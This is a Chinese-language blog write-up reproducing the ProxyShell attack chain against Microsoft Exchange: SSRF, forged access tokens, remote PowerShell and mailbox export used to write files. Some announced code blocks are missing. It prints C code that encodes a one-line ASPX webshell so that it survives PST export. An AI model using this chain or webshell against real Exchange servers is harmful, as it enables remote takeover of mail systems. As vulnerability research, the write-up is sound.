【安全漏洞】ProxyShell漏洞复现详解
前言
几天前，Orange在他的BlackHat演讲中又曝出了两条Microsoft Exchange攻击链，即ProxyOrcale和ProxyShell，前者主要用于Padding Orcale攻击，后者则利用路径混淆漏洞实现任意文件写入并最终执行代码。
本文假设读者已经阅读了Orange的幻灯片，并对ProxyLogon具有基本的了解。
另外，请注意，出于显而易见的原因，这里不会公开相应的exploit。相反，本文旨在分享我在复现RCE漏洞和编写exploit方面的经验。
漏洞链
SSRF
这个攻击是从利用一个SSRF漏洞开始的，该漏洞是由于一些奇怪的URI解析造成的路径混乱所致。
PowerShell端点
然后，通过访问内部网络，我们可以尝试访问/powershell端点，从而实现与Exchange PowerShell之间的通信。请注意，由于Exchange的Powershell环境的缘故，我们可以运行的命令是非常有限的。
通过利用SSRF漏洞，我们就能以NT Authroity/System的身份来访问/powershell端点。这在正常情况下是没有问题的，但在这种情况下，由于无法识别，因此无法通过身份验证。因此，我们需要降低我们的权限来获得对端点的访问权限。
该端点需要一个名为X-CommonAccessToken的HTTP头部，但我相信Exchange不会将这个头部转发到内部后端服务器。然而，我们可以通过另一种方式获得令牌：通过提供一个名为X-Rps-CAT的GET参数，其中存放令牌内容；之后，它将被反序列化并添加为X-CommonAccessToken。
执行PowerShell命令
有了验证自己身份的方法，我们就可以更进一步，尝试实现代码执行。正如我之前所说，由于当前环境下会受到各种限制，因此，我们可以利用的东西很少。但是，却存在这样一个命令：通过它，我们能够在机器的任何位置写入文件……但是，文件只能是PST格式。
但是，PST文件并不是把所有的内容都放以明文形式存放，相反，该格式会将文件内容进行编码，这在微软的官方文件中是有介绍的。
所以，我们可以先对payload进行编码，然后，在生成并被编码PST文件时，会对payload再次进行编码，这将使最终结果保持不变。
同时，因为我们可以提供一个网络共享，这意味着我们可以直接告诉Exchange导出文件到\127.0.0.1\C$\pathto\shell。这个webshell虽然不是很优雅，但的确能用。
但在这之前，我们需要让我们控制的用户拥有导出邮件的权限。为此，我们需要借助于New-ManagementRoleAssignment，我们可以通过它把邮箱导入导出的角色分配给用户。
发送Payload
解决了这个问题后，我们就可以设法发送有效载荷。由于我们将利用New-MailExportRequest，所以，我们需要向要导出的邮箱里发送一封包含有效载荷的邮件。
我发现，有两种方法可以解决这个问题。其中，一种方法是Orange使用的方法，发送一封邮件到地址，然后导出它。另一种方法，是Peter和Jang在Peter的博客中提出的方法：使用EWS来冒充用户，并将包含有效负载的草稿保存为附件。
我决定采取第二种方法，因为它更加方便。
复现漏洞
在上面的章节中，我已经解释了攻击链的基本概念，现在是时候进行复现了。
SSRF部分其实并不重要，它只是后面所有攻击的入口，但本身并没有什么技术上的挑战。
构造CommonAccessToken
所以，我们需要一个有效的令牌，但真正的问题是：怎样才能获得一个有效的令牌呢？
为了抓去一个令牌示例，我设置了一些断点，拦截了Exchange内部发送的一些请求。最后，得到了下面这样一个令牌：
X-CommonAccessToken:VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBZGXEhlYWx0aE1haWxib3g3ZjRiOTM1VS1TLTEtNS0yMS0xOTU2NzE2NjYxLTMwNzcyMTY4MjctMzc2OTU5MzkzLTExMzVHBgAAAAcAAAAsUy0xLTUtMjEtMTk1NjcxNjY2MS0zMDc3MjE2ODI3LTM3Njk1OTM5My01MTMHAAAAB1MtMS0xLTAHAAAAB1MtMS01LTIHAAAACFMtMS01LTExBwAAAAhTLTEtNS0xNQcAAAAIUy0xLTE4LTFFAAAAAA==
很明显，这里使用了base64编码；在解码之后，我决定利用hexdump软件进行观察，因为其中含有数百万个不可打印的字符。
从hexdump中，我们可以看到一些关键字符串：Kerberos、Windows、usernames，以及一些SID。此外，还有一些以单个字母作为前导的数据，这里假设其结构为：Type-Length-Value。
我对一些DLL进行了反汇编，以考察令牌是如何被序列化和反序列化的，并获得一些大致的想法。其中，最令人感兴趣的DLL是Microsoft.Exchange.Security.Authorization.dll。
在Deserialize函数中，我们可以看到V代表版本，T代表类型，C代表压缩的意思。
而E则代表扩展数据的意思。
在WindowsAccessToken中，我们可以找到额外的信息。
其中，A代表认证类型，L代表登录用户，U代表用户SID，最后，G代表组SID。
现在，我们已经知道了令牌的格式，接下来，我们将尝试构建自己的令牌。但现在问题出现了：我们需要一个SID和组SID，对吧？
如果您关注过ProxyLogon的漏洞，就会知道如何去做了。我们可以通过发送一个请求给https://exchange/autodiscover/autodiscover.xml，首先获得传统的域名，然后，使用传统的域名，通过发送另一个请求给https://exchange/mapi/emsmdb/，来找到用户的SID。
那么组SID呢？嗯，在Windows中，用户的SID是唯一的，但组的SID却不是。例如，对于管理员组中的用户，其组SID是S-1-5-32-544。顺便说一下，普通用户的组SID是S-1-5-32-545。
所以，我们基本上掌握了所需的全部信息，那么，我们该如何构建一个令牌呢？对于版本、类型、压缩、授权方面，我们可以保持原样。实际上，我们只需要改变登录名、用户SID以及组SID。
下面是用来生成令牌的部分代码：
我并没有真正弄明白为什么组SID后面总是跟着\x00\x00\x07，在这一点上我真的太懒了。而且，这也不是很重要。
我们已经成功伪造了自己的令牌，现在是时候测试一下，看看能否访问Powershell端点了。
如果响应代码是200，这意味着令牌已经被接受，我们大功告成。否则，则可能需要进行一些调试……
使用远程Powershell
下一个大任务是实现与Powershell端点的通信。实际上，该端点是通过WSMan协议的Powershell进行远程通信的。而WSMan是一个基于HTTP与SOAP XML的协议，如果我们自己动手实现该协议的话，将是一件非常痛苦的事情。
但我们很幸运，有人已经完成了这项艰巨的工作。因为我们可以利用Python库PyPSRP来完成相应的工作。
不过，我们还有一件事需要处理。由于WSMan是直接与目标服务器进行对话的，也就是说，很可能是通过HTTP与exchange:5985端口进行通信的。但我们的情况有点不同。我们需要它与Powershell端点进行通信，而不是其他端口。那么，我们如何实现这一点呢？
首先，我想看看请求是什么样子的，所以，我在自己的机器上设置了一个本地监听器，并发送了一个WinRM请求。在这个测试过程中使用的代码如下所示：
实际上，username、password和auth段其实并不重要，因为这个请求不会发往外部。相反，我们只是想让它发送至127.0.0.1:8080端口，用于测试。
事实证明，这个请求并没有多大区别，我们只需要改变XML数据中的主机字段和一些URI数据即可。
但是，具体该怎么做呢？由于PyPSRP并不支持这种东西，所以，我希望借助于burp，这时我产生了一个想法：我可以为WinRM实现一个本地HTTP代理服务器。
下面是我画的一个简单的示意图：
下面给出HTTP服务器的代码：
在编写exploit时遇到的另一个障碍是线程问题。因为执行到http.service_forever()的时候，服务器就停止了；经过一番研究，我想到一个办法：在另一个线程中启动服务器，这样就好了。
我还想指出，在执行Powershell命令时，一定要进行必要的清理工作，比方说，删除导出请求记录。实际上，有一个Remove-MailboxExportRequest命令，可以用来删除这些记录。
发送Payload
我们需要向Exchange Web Service(EWS)发送一个XML请求，以创建一个带有payload附件的电子邮件草稿。为了节省读者的时间，因为我已经花了一天的时间在这上面，这里直接给出相应的XML模板。它是在Peter提供的payload的基础上改造而成的。
下一个部分代码中含有我们的payload，它实际上就是一行ASPX webshell命令：
下一部分代码，将对payload进行编码，所以，当PST再次进行编码时，将恢复为明文形式的payload。
在微软的页面上，我稍微修改了一下代码，编译并保存了二进制数据，然后对其进行了base64编码。
#include < stdio.h >
#include < windows.h >
#include < string.h >
byte mpbbCrypt[] =
{
65, 54, 19, 98, 168, 33, 110, 187,
244, 22, 204, 4, 127, 100, 232, 93,
30, 242, 203, 42, 116, 197, 94, 53,
210, 149, 71, 158, 150, 45, 154, 136,
76, 125, 132, 63, 219, 172, 49, 182,
72, 95, 246, 196, 216, 57, 139, 231,
35, 59, 56, 142, 200, 193, 223, 37,
177, 32, 165, 70, 96, 78, 156, 251,
170, 211, 86, 81, 69, 124, 85, 0,
7, 201, 43, 157, 133, 155, 9, 160,
143, 173, 179, 15, 99, 171, 137, 75,
215, 167, 21, 90, 113, 102, 66, 191,
38, 74, 107, 152, 250, 234, 119, 83,
178, 112, 5, 44, 253, 89, 58, 134,
126, 206, 6, 235, 130, 120, 87, 199,
141, 67, 175, 180, 28, 212, 91, 205,
226, 233, 39, 79, 195, 8, 114, 128,
207, 176, 239, 245, 40, 109, 190, 48,
77, 52, 146, 213, 14, 60, 34, 50,
229, 228, 249, 159, 194, 209, 10, 129,
18, 225, 238, 145, 131, 118, 227, 151,
230, 97, 138, 23, 121, 164, 183, 220,
144, 122, 92, 140, 2, 166, 202, 105,
222, 80, 26, 17, 147, 185, 82, 135,
88, 252, 237, 29, 55, 73, 27, 106,
224, 41, 51, 153, 189, 108, 217, 148,
243, 64, 84, 111, 240, 198, 115, 184,
214, 62, 101, 24, 68, 31, 221, 103,
16, 241, 12, 25, 236, 174, 3, 161,
20, 123, 169, 11, 255, 248, 163, 192,
162, 1, 247, 46, 188, 36, 104, 117,
13, 254, 186, 47, 181, 208, 218, 61,
20, 83, 15, 86, 179, 200, 122, 156,
235, 101, 72, 23, 22, 21, 159, 2,
204, 84, 124, 131, 0, 13, 12, 11,
162, 98, 168, 118, 219, 217, 237, 199,
197, 164, 220, 172, 133, 116, 214, 208,
167, 155, 174, 154, 150, 113, 102, 195,
99, 153, 184, 221, 115, 146, 142, 132,
125, 165, 94, 209, 93, 147, 177, 87,
81, 80, 128, 137, 82, 148, 79, 78,
10, 107, 188, 141, 127, 110, 71, 70,
65, 64, 68, 1, 17, 203, 3, 63,
247, 244, 225, 169, 143, 60, 58, 249,
251, 240, 25, 48, 130, 9, 46, 201,
157, 160, 134, 73, 238, 111, 77, 109,
196, 45, 129, 52, 37, 135, 27, 136,
170, 252, 6, 161, 18, 56, 253, 76,
66, 114, 100, 19, 55, 36, 106, 117,
119, 67, 255, 230, 180, 75, 54, 92,
228, 216, 53, 61, 69, 185, 44, 236,
183, 49, 43, 41, 7, 104, 163, 14,
105, 123, 24, 158, 33, 57, 190, 40,
26, 91, 120, 245, 35, 202, 42, 176,
175, 62, 254, 4, 140, 231, 229, 152,
50, 149, 211, 246, 74, 232, 166, 234,
233, 243, 213, 47, 112, 32, 242, 31,
5, 103, 173, 85, 16, 206, 205, 227,
39, 59, 218, 186, 215, 194, 38, 212,
145, 29, 210, 28, 34, 51, 248, 250,
241, 90, 239, 207, 144, 182, 139, 181,
189, 192, 191, 8, 151, 30, 108, 226,
97, 224, 198, 193, 89, 171, 187, 88,
222, 95, 223, 96, 121, 126, 178, 138,
71, 241, 180, 230, 11, 106, 114, 72,
133, 78, 158, 235, 226, 248, 148, 83,
224, 187, 160, 2, 232, 90, 9, 171,
219, 227, 186, 198, 124, 195, 16, 221,
57, 5, 150, 48, 245, 55, 96, 130,
140, 201, 19, 74, 107, 29, 243, 251,
143, 38, 151, 202, 145, 23, 1, 196,
50, 45, 110, 49, 149, 255, 217, 35,
209, 0, 94, 121, 220, 68, 59, 26,
40, 197, 97, 87, 32, 144, 61, 131,
185, 67, 190, 103, 210, 70, 66, 118,
192, 109, 91, 126, 178, 15, 22, 41,
60, 169, 3, 84, 13, 218, 93, 223,
246, 183, 199, 98, 205, 141, 6, 211,
105, 92, 134, 214, 20, 247, 165, 102,
117, 172, 177, 233, 69, 33, 112, 12,
135, 159, 116, 164, 34, 76, 111, 191,
31, 86, 170, 46, 179, 120, 51, 80,
176, 163, 146, 188, 207, 25, 28, 167,
99, 203, 30, 77, 62, 75, 27, 155,
79, 231, 240, 238, 173, 58, 181, 89,
4, 234, 64, 85, 37, 81, 229, 122,
137, 56, 104, 82, 123, 252, 39, 174,
215, 189, 250, 7, 244, 204, 142, 95,
239, 53, 156, 132, 43, 21, 213, 119,
52, 73, 182, 18, 10, 127, 113, 136,
253, 157, 24, 65, 125, 147, 216, 88,
44, 206, 254, 36, 175, 222, 184, 54,
200, 161, 128, 166, 153, 152, 168, 47,
14, 129, 101, 115, 228, 194, 162, 138,
212, 225, 17, 208, 8, 139, 42, 242,
237, 154, 100, 63, 193, 108, 249, 236
};
#define mpbbR (mpbbCrypt)
#define mpbbS (mpbbCrypt + 256)
#define mpbbI (mpbbCrypt + 512)
void CryptPermute(PVOID pv, int cb, BOOL fEncrypt)
{
// cb -> buffer size
// pv -> buffer
byte * pb = (byte *)pv;
byte * pbTable = fEncrypt ? mpbbR : mpbbI;
const DWORD * pdw = (const DWORD *) pv;
DWORD dwCurr;
byte b;
if (cb >= sizeof(DWORD))
{
while (0 != (((DWORD_PTR) pb) % sizeof(DWORD)))
{
*pb = pbTable[*pb];
pb++;
cb--;
}
pdw = (const DWORD *) pb;
for (; cb >= 4; cb -= 4)
{
dwCurr = *pdw;
b = (byte) (dwCurr & 0xFF);
*pb = pbTable[b];
pb++;
dwCurr = dwCurr >> 8;
b = (byte) (dwCurr & 0xFF);
*pb = pbTable[b];
pb++;
dwCurr = dwCurr >> 8;
b = (byte) (dwCurr & 0xFF);
*pb = pbTable[b];
pb++;
dwCurr = dwCurr >> 8;
b = (byte) (dwCurr & 0xFF);
*pb = pbTable[b];
pb++;
pdw++;
}
pb = (byte *) pdw;
}
for (; --cb >= 0; ++pb)
*pb = pbTable[*pb];
}
void main(){
char[] payload = "< script language='JScript' runat='server' Page aspcompat=true >function Page_Load(){eval(Request['cmd'],'unsafe');}< /script >";
int length = strlen(payload);
CryptPermute(payload, length, false);
printf(payload);
}
最后，我真的搞不清楚什么是正确的编码方式，只好进行蛮力测试，直到有一个成功为止。
现在，漏洞链的每个部分都搞定了，终于可以把组合在一起进行测试了。
测试结果
尽管webshell有点乱，但借助于正则表达式的威力，我们仍然可以得到一个比较清晰的结果。
小结
这一次，我们根据其他研究人员的论文，实现了自己的漏洞利用方法。说实话，这个攻击链真的很酷，我在利用这个漏洞的过程中学到了很多东西。我非常感谢Peter的文章，也感谢Orange提供的这个惊人的攻击链。希望本文对于大家理解这个漏洞能够有所帮助。
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【资料详细】